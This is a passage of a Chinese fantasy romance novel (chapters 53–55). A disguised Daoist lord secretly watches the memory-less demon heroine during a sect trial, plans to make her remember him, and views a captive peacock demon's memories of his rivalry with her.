“好哦。”鳞舞觉得自己没有乱动,也没在意,继续看水镜。 成镜将鳞舞的裙摆理得整齐,乍一看,倒是个乖宝。 他收回手,继续看水镜画面。 观看席少了许多人,几位长老有事要处理,留下几名执事看着。 北溯找了一圈,没再见到令牌,看来方才确实是运气好。 她找了处高地,俯瞰低洼处,灌丛中多处凹陷,应是他们打斗时压塌的。周围也未见计数装置,不知现在被找到了多少块令牌。 再一低头,指尖的邪气指向东方。这股力量确实没人能发现,先前那一掌带了些邪气,那男修未有异常反应,周围监视的执事也不曾发现,邪气可用。 动用邪气去找令牌,很快就会有结果,但她不想这么快出去。一人说的话不可轻信,得再找个人问问。 北溯用 邪气感知周围活动的生物,在东方几里外感知到几道气息,追了上去。 没想到又遇见了方才的男修,他边上还有三人,看起来他与那三人对上了。 “交出你手里的令牌,我们可以放过你。” 北溯心道这三人没脑子,他若是想走,直接注入灵力,就可出去,这么威胁人家,他们攻击的速度哪有人家手快。 不过他找到了令牌,怎么不先出去? 北溯走出灌丛,四人齐齐看过来,一见她,那三人恶狠狠道:“我劝你快些离开,这块令牌我们看上了,你若是插手,我们可不会手下留情。” 来找这群人就是为了套取信息。懒得跟他们废话,北溯直接动手,邪气折断灌丛,将其化成锁链,眨眼见就将他们仨捆住。 变故发生得太快,这三人等她走到面前,才反应过来,顿时没了先前嚣张的气焰。 北溯站在他们面前,没管身后的男修,直接开口:“我问什么,你们答什么。” 三人连连点头:“女侠尽管问,我们知道的肯定说。” “你们抢了多少块令牌了?” 三人齐齐摇头:“一块都没有抢到!” “刚想抢,女侠您就来了,这不是没成……” 北溯回头看了眼,男修手中的令牌是黑色,上头刻着字。 她继续问:“关于道宗,你们知道多少?” 三人见她看起来挺年轻,猜测她年纪不大,不大了解道宗,眼珠子一转,说:“道宗啊,那可是修真界第一大宗——” “这我会不知道?” 北溯勒紧绳索,三人吃痛,立刻老实。 “我只知道道宗很厉害,就连那个邪神都能杀得了,当初道宗和昆仑一起联手杀了邪神,死了好多修士。后来就是道君渡劫,但没有成功。然后就是道宗招收新弟子。” “我记得很清楚,那一次我也去了,没选得上,十年后道宗又招新,我就来了。” 北溯问出两个字:“邪神?” 其中一人道:“对对对,就是道宗杀的邪神,宗主可厉害了,为我们铲除了这个灾祸——” “那时要不是道君要渡劫,他也能帮宗主杀邪神。” 北溯没再问。 得到的信息确实是成镜没有杀她,杀她的另有其人,昆仑和天綪? 她松开这仨,三人撒腿就跑,很快没了踪影。 被人盯着的感觉太强烈,没法忽视,北溯一转身,对上男修漆黑的眼。他还站在那没走。 “道友怎么不走,不怕我抢了你的令牌?” 男修只看着她,一言不发。 北溯觉得这人身上透着古怪,被人抢劫还不赶紧用令牌出去。她没有抢他手里的令牌,毕竟方才人家回答了自己几个问题,这么做似乎不太好。 “对了,我还有个问题想问你。”北溯走过去,保持一米距离,想到那股邪气的源头在成镜身上,问他:“那道君有没有和邪神接触过?” 此话一出,男修瞳孔骤缩,手中的令牌边缘出现裂纹,垂在袖中的手死死捏紧,身子隐隐颤动。 他轻声开口:“你说的,是什么?” 北溯越发觉得他奇怪,面前的人似乎在极力忍耐着什么,她总有种错觉,自己若是再问,他就会扑上来。 指尖凝聚邪气,她换了个说辞:“道君那么厉害,如果是他,肯定能杀了邪神吧。” 男修忽然逼近一步,北溯没有后退,防备着他的一举一动。 “你再说一遍?” 北溯蹙眉,收了邪气,不再理他,转身就走,然而脚还没迈出去,身后的人闷哼一声,倒地的声音传来。 视线里她的背影变得高大,逐渐与那日她离开时的背影重叠。 被掩盖的邪气往她体内涌去,人分明就在眼前,可怎么都触碰不到。 灵脉被撕扯,身体的痛远比不上那句话带来的精神上的折磨。 她居然说他杀了她。 分明他已经说过,是昆仑杀了她,她不信。 她不仅不信,还去问毫不相干的人。 她忘了。 她居然把他忘了。 他遮住自己的双眼,低低笑了出来。那一丝隐秘的妄念冲出牢笼,无限增长,将理智吞没。 所以这十年,她骗了所有人,将他忘记,换一张脸,就能装作什么都没有做过。 她怎么敢的啊,怎么敢再来道宗,怎么敢出现在他面前。 他真是傻子,怎么会觉得,这样一个侮辱自己,折磨自己,从未说过负责任的人,会把他放在心上。 手臂移开,眼前没有她的身影。 心脏好似停跳了一瞬,他往远处望去,女子的背影渐行渐远,被灌丛吞没。 好像,又一次被抛弃了。 他早该发现的,这人根本没有心。 边上传来窸窸窣窣的声音,他偏头,对上毒蛇探出的蛇信子,这条蛇睁着无情的眼,朝他爬过来。 成镜缓缓笑了一下。 蛇,果然是不会有感情的。 第53章 成镜感知着邪气涌出的方向,缓缓闭上了眼。 冰冷的鳞片在皮肤上滑行,刺痛传来,他却没有动,任由那条蛇将毒液注入身体。 蛇不仅没有感情,且浑身都是毒。 毒得他理智都被融化,连躲避危险的本能都消散了。 手中的令牌被捏碎,他倒在地上,似是没了声息。 毒蛇吐着蛇信,缓缓爬离。 水声渐响,冰凉的湿布贴上手腕,将血珠抹去。这只被毒蛇咬过的手看起来没什么变化,倒是手指纤长,上头有些薄薄的茧子,摸起来略微粗糙。 北溯来回摸了好几下,才去给他包扎伤口。 她瞧了眼男修正常的唇色,遗憾道:“没毒吗?” 许是她的声音存在感太强,晕过去的人转醒。 女子的轮廓渐渐清晰,她蹲坐在他身侧,低头看过来。魔界的一幕幕纷至沓来,曾经也是她坐在床边,这般看着他,然后—— 他猛地抓住她的手腕,紧紧握住,用力到手腕上包扎的布条挣开脱落,好不容易止住血的伤口,再次溢出血珠。 他握得很紧很紧,睁开的眼看到她后,死死盯着她,眼里爆发出的情绪如同锁链,将她捆住,往他的牢笼里拖。 北溯在他抓住自己时,低头去看他冒出来的血,没有看到他的眼神。 “你不用抓着我,我暂时不会离开。” 成镜没有松手,依旧看着她。太像了,与她死前的一幕太像了。 那时她也是这般坐在他身侧,走之前说等她回来,可这么一走,便是十年。 这一次又想在他身上得到什么?还想再骗他,再要他孕育生命,然后再抛弃他,毫不留情地离开,换个身份,又可以重新开始。 北溯,你真是好手段。 他望着她的眸子里涌出恨意,随即被凶猛的痛色取代。视线里的女子忽然抬头,他立刻移开目光,克制着自己的情绪,尽量变得正常。 “你若是想将伤口撑大血流不止,就继续用力。”北溯试过,抽不出来,他的力气太大了。 转头一看,男修没有看她,顺着他的视线看过去,前方只有茂密的灌丛。 手背上传来温热的感觉,她回头一看,他手腕上的血滴落到自己手上,再往下流淌。这血的颜色很正,煞是好看。 北溯想了想,问他:“一条蛇都避不开,你也敢来参加道宗招新比试?” 那人没有作声。 北溯晃了晃手腕,叫那血流得快些。 刚要用帕子将血擦干净,便听男修冷硬的声音:“我怎知虚弱时会被蛇盯上,咬了我一口,还跑了。” “唔……”北溯低头去擦自己的手,语气轻快:“那你挺幸运,遇到了我,若是我没来,你还会多晕几个时辰。” 成镜轻轻转头去看她,另一只完好的手动了动,似乎要去触碰她,最后还是捏紧,隐藏在袖中。 “若是旁人,你也会救吗?” “嗯?”北溯偏头望他,见他脸色苍白一副很虚弱的模样,似那柔软的柳枝,拂过心间,叫人心痒难耐,想将这乱动的柳枝一把捏进手心,藏起来,只让自己看。 她望过来的眼神逐渐染上几分侵略的意味,身子缓缓俯下,距离越来越近。 男修双眼一眨也不眨,与她对视,好不容易压下的情感,就要被她勾出来,叫嚣着冲向她。 微风拂过,灌丛晃动,发出飒飒声响,周围一片安宁,没有修士为争夺一块令牌而打斗,他们在天地一隅,凝望对方。 但她望过来的眼,全然陌生,少了初见时那几分戾气与强势,却更加气盛,甚至能看到朝气。 成镜攥着她的手微微松了力道,注意力被她离得越来越近的眼眸吸引,他狼狈的身影倒映在她眼中,成镜看到自己捏造的这张脸居然露出了期待。 神色骤变,眸中凝出冷霜,他用那只流血的手撑着地面,猛地起身。 靠近的瞬间,莲香弥漫,与她身上的清香纠缠,难舍难分。 他往后坐,移开眼,撕扯衣衫,装模作样地给自己包扎伤口。 散乱的长发垂于身侧,掩住他的脸,没有人能看见他此刻的 表情。 北溯瞄了他好几眼,视线顺着他的发丝往下,瞧见地上散着的白色发带,抬手捡起来,递到他面前。 “也不是谁受伤我都会救。” 成镜动作一顿,心中重复这句话,一时间没有去接发带。 骗子,又在骗人。 视线定格在拿着发带的手上,手指纤细葱白,指甲修剪得整齐,只是随意做出个曲指捏发带的动作,也尤为吸引他的目光。 能变得了容貌,会将手部特征也变幻吗? 北溯等了会,见他还不接,问:“不要了?” 刚说完,手里的发带化为灰烬。再一看,男修手里冒出了个红色发带放到腿上,再包扎手腕。 他的声音淡淡:“不要了。” 北溯挑眉,这人是有洁癖还是什么病,这就不要了。 “行吧。” 她站起来,见他精神挺好,道:“那就这样吧,有机会再见。” “你要走了?” 北溯还没走几步,身后的人站起来,她嗯了一声,脚步未停。比起这个奇奇怪怪的修士,那位道君与她的关联更大,没必要把时间都浪费在他身上。 且她能好心帮一个人族已经算不错了,怎么可能还会留下。 在她身后,男人盯着她背影的眸子越发地幽深,犹如困兽,挣扎着想破出牢笼,将这个没心没肺的人咬死吃了,报复她对自己做的一切。 可又得忍耐着,弄清她为何不记得自己。 是有意为之,还是被迫。 他低头,手中的红色发带微微飘荡。她没有死,白色不吉利。 他束好发,感知着被自己压制的邪气,用分.身进来前,特地将邪气掩藏,他能看见,她必然也能看见。 成镜骤然抬眸望向她渐行渐远的背影,一个念头缓缓成型。 他刚要跟上去,眼前出现她的身影。 如同幻觉,几次梦中出现她的身影,一伸手触碰,只余下可笑的自己。 鳞舞两岁时,生了一场病。那时她高烧不退,哭得嗓子都哑了,到后来什么都吃不下。他问了蛇妖,都说没有见过这种情况。 他恍然发觉,那应是血脉没有融合好,互相排斥,才会引起身体异动。 他用自己的灵力为她调养融合,整整十三日没有合眼。 到最后灵力几乎用尽,莲台都没法补给,才堪堪稳住,那时他虚脱到抱着刚融合好血脉的鳞舞就昏睡了过去。 他做了个梦,梦里女子责怪他,说他没有照顾好鳞舞,要拉着他一起去地府。 那时梦里的自己对她说了个好。 “若是你早就将我杀了,兴许鳞舞就不会受这样的痛。” 他真的被她带去了地府,那里全都是死魂,阎王将他打入地狱,烈焰焚身,日日拷问他,让他悔过。 “你有罪。” “不该动摇道心,帮助邪魔。” “不该心软,放过邪魔。” “不该生出妄念,妄图与邪魔纠缠。” 阎王问他:“你可认罪?” 他恍然发觉,地府里没有她,一切都是自己臆想出来的。只是因为私心阻堵了道义的前路,他坚守百年的正义,被他亲手摧毁。 烈焰吞没他,烧灼他的灵魂,仿佛这样就能将被她污染的身体洗干净。 但邪魔为何会被称作邪魔,就是因为邪魔身上无处不在,无法净化的污秽。轻易就能将一颗透彻的心染黑,要想回到原本纯洁的模样,代价极大。 “醒醒,醒醒。” 被烈焰焚烧得几乎散失意识时,耳畔响起她的声音。 “道君再睡,可就醒不来了。” 他从梦中醒来时,浑身冰凉,莲台都凝聚不出来,差一点就死了。 是她将他拉入地府,又是她将他拉回人世。 他抱紧了怀里的孩子,久久不能出声。 此后他寻遍修真界,未能寻到一本记载金莲的古籍,他不是这世间之物,没有任何人知道他的血脉与妖兽融合,是好,还是坏。 后来鳞舞再未出现血脉冲撞的情况,平平安安长大。 他本想将她规训成自己这般,却放弃了这个念头。比起他这样古板又无趣,不如让她活成她娘那般,恣意洒脱。 况且,待他查清上界的阴谋,或许这世间难以再安宁。正如月神所言,叫鳞舞好好看这个世界。 梦里的身影越来越清晰,却不是自己熟悉的容颜,她快步走过来,目光是对着自己的。 他微微动了动手,朝她迈了一步,碎裂的令牌复原,被他捏在手心。 “我还不知道你名字,你叫什么?” 成镜启唇,说了两个字:“镜成。” 北溯在他面前站定,重复了一遍,问:“哪两个字?” 成镜眼也不眨,直接说:“铜镜,成功。” 北溯随口一说:“你的名字倒过来,与那道君的名字一样呢。” 成镜没有作声,浑身紧绷。垂在衣袖内的手握紧,极力克制,才没有现在就将她绑起来,带走。 “我叫裴溯……” 成镜没有听她解释名字的话,默念她新换的名字,面上浮现一丝笑,那笑不达眼底,有的只是冷意。 裴云霄,北溯,裴溯,她该是还有个名字,叫北云霄。 那抹笑很快散去,再抬头看她时,只余下苍白的脸色,无形之中令人觉得他此刻很虚弱。 他念了一遍她说出的假名:“裴溯。” 短短两个字,念得很轻,北溯偏就听出了几分毛骨悚然,感觉自己被什么东西盯上,无论跑到哪,都会被找到。 这人确实奇怪。 礼尚往来,她唤了一声他的名字:“镜成。” 刚唤出来,他忽然笑了一下,笑容很淡。双眸静静望着她,深邃的眼将所有的情绪掩藏,叫她看不出一丝异样。 这样的笑,若是她未对此人产生怀疑,或许会多看两眼。 邪气没有指向他,此人不是成镜。 但她还是没法完全放下心。 在他昏迷时探过他的修为,很弱,许是之前抢夺令牌时他就已经受了伤,会被一条蛇袭击似乎也能说得通,但还是没法解释他身上那股不和谐的怪异感。 “你有令牌,怎么还不出去?” 成镜低头看被自己复原的令牌,找了个很好的理由:“我受了伤,灵力不足,需要恢复灵力。” 这个理由确实充分,低阶修士能吸纳的灵气少,用完得耗费时间再吸纳灵气转为灵力。 “那你慢慢恢复。” 北溯问到名字就走。 身后响起脚步声,她走了几步,转身看过去,男人头发应该是匆匆理了一下,没有之前见到的整齐,几缕发丝垂在两侧,这份凌乱弱化了他凌厉的轮廓,添了几分柔和。 北溯看了会,这要是在以前,遇到这样的人族,她早就动手把他劫走了。 “你也走这个方向?” 他没有回答,径直走过她,往前走。 红色发带舞动,淡淡的莲香涌来,北溯嗅了一下,觉得这味道挺好闻。 她没有再看那人,往反方向走。 走出一段距离后,成镜脚步一顿,垂眸望向右手,将布条拆开,伤口愈合了。 他再抬眼望天,北溯的画面早已被屏蔽,所有水镜都不会显示出她。 几次试探,即便心知她忘了很多,但她用那稀松平常的语调说出他的名字,极力忍耐,才压制住要将她带去囚牢,逼她想起一切的冲动。 不可着急, 得慢慢来。 她警惕地很,那次借用昆仑镜都没能抓住她,若是让她跑了,再藏个十年,寻她就会麻烦很多。 成镜将令牌扔出去,上头的阵法已经吸纳了北溯的气息,随时可以找到她。 他步入灌丛中,身影消失。 半个时辰后,北溯碰上了裴兰,她受了伤,躺在树边,正给自己包扎。一看见她,没有惊喜,只有防备。 她本来想绕到就走的,谁叫裴兰非得问一句:“你找到令牌了吗?” 北溯冲她一笑,说:“找到了呢。” 裴兰果然大惊失色,几次想说些什么,最终干巴巴说了句:“那你运气真好。” 按北溯现在的记忆,对人族的愤恨大于漠然,虽然现在三界和平,但骨子里还是想和人族大干一场。她记着呢,人族抓的那些妖兽,用妖骨炼制的法器,一件件,她都记着呢。 “那你怎么不拿着令牌出去?说不定出去得越早,能拜道宗厉害人物为师的机会越多。” 北溯说了句令她愤怒的话:“道宗又没有说一人只可拿一块令牌,我多拿几块,又能如何?” “你——”裴兰蓄积灵力一击,被化解了。 目的得逞,悄无声息地将这一击蕴含的灵力封锁,留了句:“别动火,身上有伤呢。” 她想过在道宗制造点混乱,但那也是在接触到成镜,找回记忆后,现在么,只能嘴上过瘾,没劲。 不再听裴兰的“正义”之言,换了个方向离开,气得裴兰咳了好几声。 “她若是真拿了那么多令牌出去,能入道宗的名额岂不是少了好些个?”裴兰瞪着北溯离开的方向,拿出传送她进来的玉牌,直接请来监督的执事。 “有人要破坏比试规则!” 过来的执事听完她说的话,回她一句:“一人只可带一块令牌出去,我们也会检测令牌动向,若是有你说的情况发生,我们会出面解决。” 北溯没想到自己随便一逛,都能碰见令牌,本来是想拿着令牌先出去,不知怎的偏就想回去再看那个红发带一眼,沿着来路回去找人,找到的不是他,而是裴兰。 人没找着,再耗下去没意思,北溯将从方才在裴兰那提取的灵力注入令牌中,眼前一闪,周围站着的修士齐齐望过来。 “第一百名,恭喜啊,你也要进道宗了。” 北溯直接冲高台上看,此刻邪气在她眼中极为清晰,连接着那位白衣道君。 这么一看,他的气质与镜成十分相似。同样有着出尘的清冷,连视线扫过来时,眼神都一样的淡漠。 这个时候北溯才发现他眉心是有莲花印记的,莲花么……那人身上也有莲花的味道。 是巧合,还是帮她进入二重山的,就是成镜? 视线望过去的瞬间,成镜抬眸对上她的眼,在自己和鳞舞身侧设下隔音结界,低声道:“看见方才出来的女子了吗?” 鳞舞点头,睁着大眼冲那女子眨了好几下,“看见了!她好快!好厉害!要是能在水镜里看到她就好了。” 成镜收回视线,将水镜收起,捏了捏已经结痂的掌心,唇角微微上扬。 他说:“那就是你阿娘。” 鳞舞瞪大了眼,看看那走到边上休息的女子,再看看自己老爹,嘴巴哦成鸭蛋,一下站起来。 “爹爹你说的是真的吗?”她拉着成镜的手,刚想摇,想起之前自己学到的礼仪,松开了手,拎着裙摆回去坐好。 不行,她得表现得乖一点,这样阿娘会更喜欢。 但小孩哪能忍得住欢喜,刚坐上去就忍不住边看边问:“爹爹,那就是我阿娘吗?真的吗?” 成镜嗯了一声,正要说话,余光里这个小小的身影已经跳下座椅冲了出去。 “阿娘——” 声音戛然而止,鳞舞挣扎着要跑出去,被一股力量拽了回来,按回座椅上。 鳞舞急得抓住成镜袖口就问:“为什么不让我去——” “还不到时候。” 成镜摁住她,扫过底下好奇的目光,隔音结界确实起到了很大的作用。 他起身,拉着鳞舞的手,再也没有看底下那女子,回了重莲殿。 他们的身影一消失,底下哗然。 “怎么都走了,就这么一会,我还想多看看这位道君呢。” 北溯低头,邪气指回了东方。方才没什么机会接近成镜,收集不到他的气息,就无法进入禁阵里,难搞。 比试还有两日才结束,得在客舍再歇息几日,待里头的人都出来,才是道宗各长老执事选弟子。 两日时间,够她回一趟妖界,去问清楚这些年都发生了什么。 她不再停留,回客舍。 回去前扫了眼周围,青柚还没出来。 北溯脚步一顿,发觉一个漏洞。同样是妖,青柚又是如何激活传送阵进入二重山的? 难不成她失去记忆的这些年,妖族法术见长,连模拟人族气息的法术都有了? 不过既然没有被发现,那便是有用的,待他出来,再去他那取取经。 北溯回了客舍,只她一人出来了,其他院子也没回来几人,大多是都留在训练场,看热闹。 晚些时候,院子里回来几人,裴兰正在其中。一见她在屋子里,脸上表情凝固。 “你……”裴兰说了一个字,心虚地回了自己床位。她特意挪到边上,给自己的伤敷药。 北溯没管她,在想要如何接近成镜。都说他鲜少露面,若是一直待在禁阵里,那她便没有机会接近,只能等他主动出来。 麻烦得很。 屋外天色已暗,北溯望着外头,在考虑要不要今晚再去探一探。 重莲殿内,哭声响彻鳞舞寝殿。 “藕宝,我今天见到阿娘了!可是爹爹不让我去她那!” “我想见阿娘——” “我要阿娘——” “哇——” 她哭得撕心裂肺,眼泪水直掉,藕宝拿了帕子帮她擦了。没过一会又布满整张脸。 “别哭,你哭花了脸,主母就认不出来了。” 藕宝本意是想让鳞舞止住哭泣,她真停了会,然后盯着它,又哭了出来。 “我不,我就要见阿娘,我要——” “你再怎么闹,她也不会出现在你面前。” 无情的话传进来,鳞舞一下闭上嘴,往藕宝身后缩,沾着泪的眼睫眨了好几下,不敢看成镜。 藕宝移开身子,担忧地看着父女俩,小心翼翼地问:“道君,小主人说您见到主母了,这是真的吗?” 鳞舞气鼓鼓道:“爹爹说了那是阿娘!” 成镜点头,让藕宝出去,结界覆盖寝殿,他在鳞舞面前蹲下,与她平视,抬手去擦她的眼泪。 “爹爹,我想见阿娘……”鳞舞的声音弱了很多,抽噎着,眼泪又掉下来。 “乖。”成镜耐心擦去,轻声说:“我知你想见她。” “但现在不是时候。” “可是——” 成镜握住她的手,垂眸看她掌心的纹路,克制着体内攒动的,想要现在就去将女子带到这里,关进囚牢的冲动。 “她不记得你了。” 鳞舞震惊,又哭了出来:“我不要,阿娘怎么会不记得我呢……” “你想让她记起来吗?” 鳞舞握住成镜的手,重重点头,努力把眼泪收回去。 成镜笑了一下,那笑混杂着太多情绪,不再是纯粹的笑意。 “那鳞舞 就帮爹爹,让她想起一切,好吗?” 成镜垂眸,掩去眼底的疯狂。 忘记了? 那就让她想起来。 将她做过的事,再一遍遍对她重新做过。 在她身上刻下烙印,让她再也忘不掉。 第54章 “你……”裴兰看着了好几次北溯,才将自己最担心的问题问出来:“你有想好拜谁为师吗?” 北溯以为自己说了那么两句话后,这人应该就会远离她,果然还是涉及到自身利益,才会来问。 她随口答了句:“谁要我,我去哪。” 裴兰安了心,挤出笑来:“那你好好休息,两日后就是拜师大典,以你的名次,一定会有厉害的师父。” 北溯笑着瞧她,嗯了一声。 裴兰没想到她直接接下了自己“祝福”的话,再一看她的笑,刺眼的很。 她僵硬地别开眼,没再说话。 天彻底暗下来。 北溯在护宗大阵边上试了试,邪气可以穿过去,她直接离开道宗,直奔妖界。 百里之外,黑水之中,荧光照亮漆黑的洞窟。里头的人骨瘦如柴,脸颊凹陷,颧骨突出,裸露的肌肤坑坑洼洼,细细一看,像是某种口器很小的虫咬出来的。 荧光来到他眼前,僵滞许久的身子微微动了动,那颗垂下的脑袋很小幅度地仰起,凌乱的发丝挡住他的脸,让人看不清他的模样。 锯木一般粗糙的声音响起,气短得很,仿佛下一秒就要死了。 “你还有闲情来看我。” 成镜扫过他被锁链勒出骨头的手腕,神色平静,直接说出来意:“十年前,她可曾与你说过她的计划。” 雾漓静了会,忽然发出尖锐的笑声。 “你跑来问我?你觉得她那种独来独往,性子孤僻的人会告诉我她的计划?” 他说完这句,浑浊的眼死死盯着成镜,时隔多年,再次看到这个人,依旧恨得想杀了他。 若非此人,他又怎么会被抓住,关在这暗无天日的破地方十年! “她戒心重得很呢,怎么可能会告诉我?”雾漓喘了口气,投去怀疑的目光:“你又想问我什么?” 成镜审视他,良久才道:“妖界除了凤鸣,还有谁有涅槃的能力。” 雾漓一愣,匪夷所思:“你想复活她?” “十年了,你才想到要复活她?你不觉得晚了吗?她都死了十年了!” “你们人族没一个好的!她为你生了孩子,你居然到现在才想到要复活她,你可真狠心!” 有些人知道自己做错了事,但不愿承认,甚至还要拉身边的人一起下水,以此自欺欺人地告诉自己,大家都做错了,有什么好责怪的。 成镜从未纠正过他这个错误认知,确定妖族没有能再复活她的人。 可那时他搜寻过她的神魂,没有感知到一丝一毫,她死时的画面也做不得假,她确实是死了。 但又活了。 有那么一瞬间,成镜觉得自己可能是出现了幻觉,那人并非是她,是自己臆想出来的人。 除非能极近地接触到她,感受她的真实,才能打碎这幻觉。 “什么时候杀了我。” 雾漓无力地吐出这句话,满是血丝的眼瞪着眼前的人,“你还想从我这里得到什么?” “我与你无仇,不会杀了你。” 雾漓冷笑:“不会杀我?那你将我关在此处十年!用囚禁过她的阵法折磨我,这就是你说的与我无仇?” 成镜语气淡淡:“这是你欠她的。” 雾漓呼吸一滞。 “她被关在此处三百年,而你,才十年。” “那又如何,”他的喉咙里发出模糊不清的声音:“那都是她自找的,与我无关。” “与我无关,她自找的,与我无关……” 雾漓不断重复这句话,神情疯癫,边说边笑,看着如同疯子。 被关在此处,与世隔绝,接触不到人,日复一日地煎熬着,唯一见的几次人,还是亲手将他关进来的成镜。 起初他还能熬,后来眼前总是出现她的身影,每次他想伸手掐住她的脖颈让她去死,手被锁链禁锢,怎么都掐不到。 到现在,眼前的人似乎变成了她,她变成了厉鬼,来找他索命。 “你死是你自找的!” “只要你抛下那个人族,你就能跑得了!” “谁让你被一个人族迷惑了,连命都不要!” “你活该!” 成镜蹙眉,封住他的嘴,不再废话,凝出一朵莲花将他吞没,眼前画面一转,他看到了一棵参天巨树。 他低头看自己手心,痛色一闪而过。 这是在她死去第五年发现的能力。 从她身上继承过来的,能制造梦境,看清他人弱点的能力,甚至能看到身体极度虚弱之人过去的记忆。 发现这个能力是个意外,那时他从妖界回来,被邪气折磨,身上力量无法控制,无意间爆发,入了鳞舞的梦。 三岁的孩子,梦里全都是对阿娘的幻想。 幻想着自己被阿娘抱在怀里,被阿娘牵着手,听着阿娘读故事书入睡。 她幻想的那些身影,全都没有脸。 成镜起初以为自己是在做梦,后来发现鳞舞看不到自己,她幻想出一个又一个阿娘,最后这些身影全都消散,她难过地哭了出来。 最终让成镜确定自己有了个能力的,是他在雾漓那试了一次,看到他亲手残害北溯。 这个能力不仅可以看到人的弱点,还能看到曾经的过往。 成镜是以雾漓的视角,亲眼看到他是如何伤害北溯的。 从梦境中出来,杀了雾漓的念头强烈到他控制自己保持理智都需在身上制造伤痛,以痛感强制拉回理智。 不能这么轻易杀了他。 应是由她亲手杀了雾漓。 曾经这个念头无法实现,现在却可以了。 成镜抬首凝望这颗巨树,视线一转,看到雾漓从树中出来,这时的他看着稚嫩,身上衣衫华丽,没有现在这般裸露。 “她也没比我小多少,我八岁时她就出生了,按我们能活的年龄来算,我们差不多是同一天生的。” “为什么要我去照顾她啊。” 树里又出来的人跟在他身后,劝他。“没办法,她是蛇族最强血脉,爹娘都死了,我们又没时间——” “那她族人呢?她是蛇,我们是孔雀,我们是死敌。” “那是没开智的兽类,我们不一样。” 雾漓停下,转身看那人:“爹,我不明白,她爹娘确实是为妖界战死了,但为什么非得是我们照顾她?你是妖王,你就不能派其他人照顾?” 雾海耐心劝他:“她现在也只有六岁,没了爹娘,挺可怜的。” 雾漓冷着脸:“那也与我无关。” “不能这么说,他们一家子都为保护妖界死的差不多了,我坐在妖王这个位子上,多少双眼睛盯着,你是我儿,你去照顾,更能看出我对她的重视。” “盯着就盯着了,谁爱带小孩谁带去,我才不干这种事。” 雾漓转身就走。 成镜沉默跟在他身后,可以看到他头顶,现在的雾漓,是个十四岁就说话不留情面的毛头小子。 走入丛林中,眼前冒出了一条蛇。 雾漓后退数步,面露惊惧,直接动手。 成镜看到前方出现的小小身影时,下意识朝前迈了一步,旋即意识到这是梦境,自己无法干扰。 那条蛇被击成数块,砸到地上,一个比他矮了很多的女娃娃正木着脸,睁着大眼睛望着雾漓。 她有一双绿宝石般深色的眼,瞳孔竖成一条线,即使雾漓差点打到她脸上,也没有叫出来,反而很平静。 雾漓已经见过她,认出来这就是那个烦人的家伙。 “你怎么不躲?”他语气不善。 北溯低头看了眼蛇的尸块,没什么表情道:“躲不开。” 雾漓嗤笑:“还蛇族最强血脉呢,这都躲不开,算什么最强,真没用。” 他嘲笑完就要走,北溯却移动几步,拦住了他。 雾漓低头睨视她,语气不善:“你干什么?” 北溯指着被杀死的蛇,说:“道歉。” 雾漓眯起眼,冷笑:“要我道歉?什么时候能打赢我,你才有让我道歉的资格。” 这是雾漓第一次在正面面对北溯时,对她产生不爽的情绪。一条才长了六年的蛇,也敢让他道歉? 弱者没有资格让强者道歉。 雾漓直接走了。 成镜在画面变化前一直在看她,她最后只低着头,看已经四分五裂的蛇。 画面一转,他的身量长了许多,稚气还在,面前站着一名少女。 此刻的她已经有了几百年后那飒爽的气势,脸庞还是稚嫩的,比现在的她少了几分戾气。 成镜看了好一会,才移开目光,双手不知何时已经捏紧,心口发出一声又一声沉重的闷声。 她很快靠近雾漓,一招就将他打趴,动作凌厉,一点没收着。 雾漓被她踩在脚下,屈辱地说出那句对不起。 成镜微微弯了眸。 他看着北溯潇洒离开的背影,莫名想到她在自己面前离开,面无表 情地收回视线。 雾漓爬起来,瞪着北溯,眼里渐渐染上愤恨之意。 这一次实力上的绝对碾压,精神上的屈辱,成了他永远也忘不掉的噩梦,激化了所有的不甘。 当他看着她越来越强,得到雾海的赏识,妖族的拥护,没有谁不在夸赞这个年轻的蛇族统领,甚至要推举她担任下一任妖王。 他怒问雾海:“你真要将妖王之位传给她?” “妖王向来是强者的掌中之物,谁强,谁就坐这个位子,你若是想坐,就比她更强。” 雾漓试过,他也曾夜以继日地修炼,为了立功去伏击侵入妖界的人族,但他不论怎么做,都会被她压下去。 他的努力,在她的天赋面前,一文不值。 幼时嫉妒与恨在心中发芽,青年时期,已经成了枯朽的老木。 他被命令和她组队,再加上另外两个,一起应对人族修士的入侵,而每次,她都冲在最前,不给他们一丝发挥的机会。 她的风头越来越盛,身上的伤也越来越多。那只死鸟能给她疗伤,她每次都死不了。 若是没有那只死鸟,她早就该死了。 活该受那么重的伤,谁让她冲那么前。 雾漓下定决心要超过她,要立一次大功。他背着他们三个,自己潜入人界,探听人族修士侵略妖界的计划。 他偷偷潜伏,打算自己一人将这群人族一网打尽。 这一次,他要做冲在最前面的那个。 但没想到,明明她那么轻松就将人族击退,轮到他,却只能负伤躲避追捕。 他只能狼狈逃亡,立功比不上自己的命重要。 也是这个时候,在他被人族修士发现之时,她冒了出来,就像幼时突然冒出来的那条蛇。 她轻而易举将人族修士制服,而那个无法反抗的人,成了自己。 角色颠倒,他成了自己口中嘲笑的弱者。 第55章 他还死死盯着她在人群中混战的身影,从没有哪一刻像现在这般,恨她,怨她。 为何不能当做没看见,为何要救他,为何在侮辱他后,还要再给个甜枣,以为这样他们之间的恩怨就可以一笔勾销? 不可能! 待她将人族修士驱赶走,雾漓站起来,不领她的情:“别以为你救了我,我就会感恩戴德。” 他以为她会被他这句话呛得难受,谁知她一点反应都没有。 “我不是来救你的,将人族修士驱赶出去,是我的职责。” 雾漓当时气笑了,气得身上的伤阵痛,承受不住,晕了过去。 再醒来,听到的就是对她的夸赞,对自己的责备。 他在想,怎么会有人这么能,什么事都要掺和一脚。还要摆出那满不在乎的模样,一点都不在乎外界的夸赞? 他不信。 那不过是她戴的面具,谁知道她私底下是什么样的,谁知道她表面荣辱不惊,尾巴是不是早就翘上天了! “我不会再与他们一起行动。”雾漓在雾海面前丢下这句话,四人的队伍少了一人。 之后他刻意避开有她的行动,她要往西,他就往东,屏蔽一切与她有关的消息,即使那只死鸟没眼力见地跑来问,他都不会回一句。 后来,他又一次被她救了。 这次她连一句话都没说,直接走了。 雾漓觉得这个人是真的贱啊,他以前那么对她,她居然还屡次救他。 怎么会有人这么不记打。 雾漓是在做了一场春梦后,发现自己对她产生了恶心的心思。 他居然梦到了和她在水中翻云覆雨。 醒来后他狠狠打了自己一巴掌,把自己关起来,关了半个月。 再见到她时,雾海宣布,下一任妖王人选之一,是她。 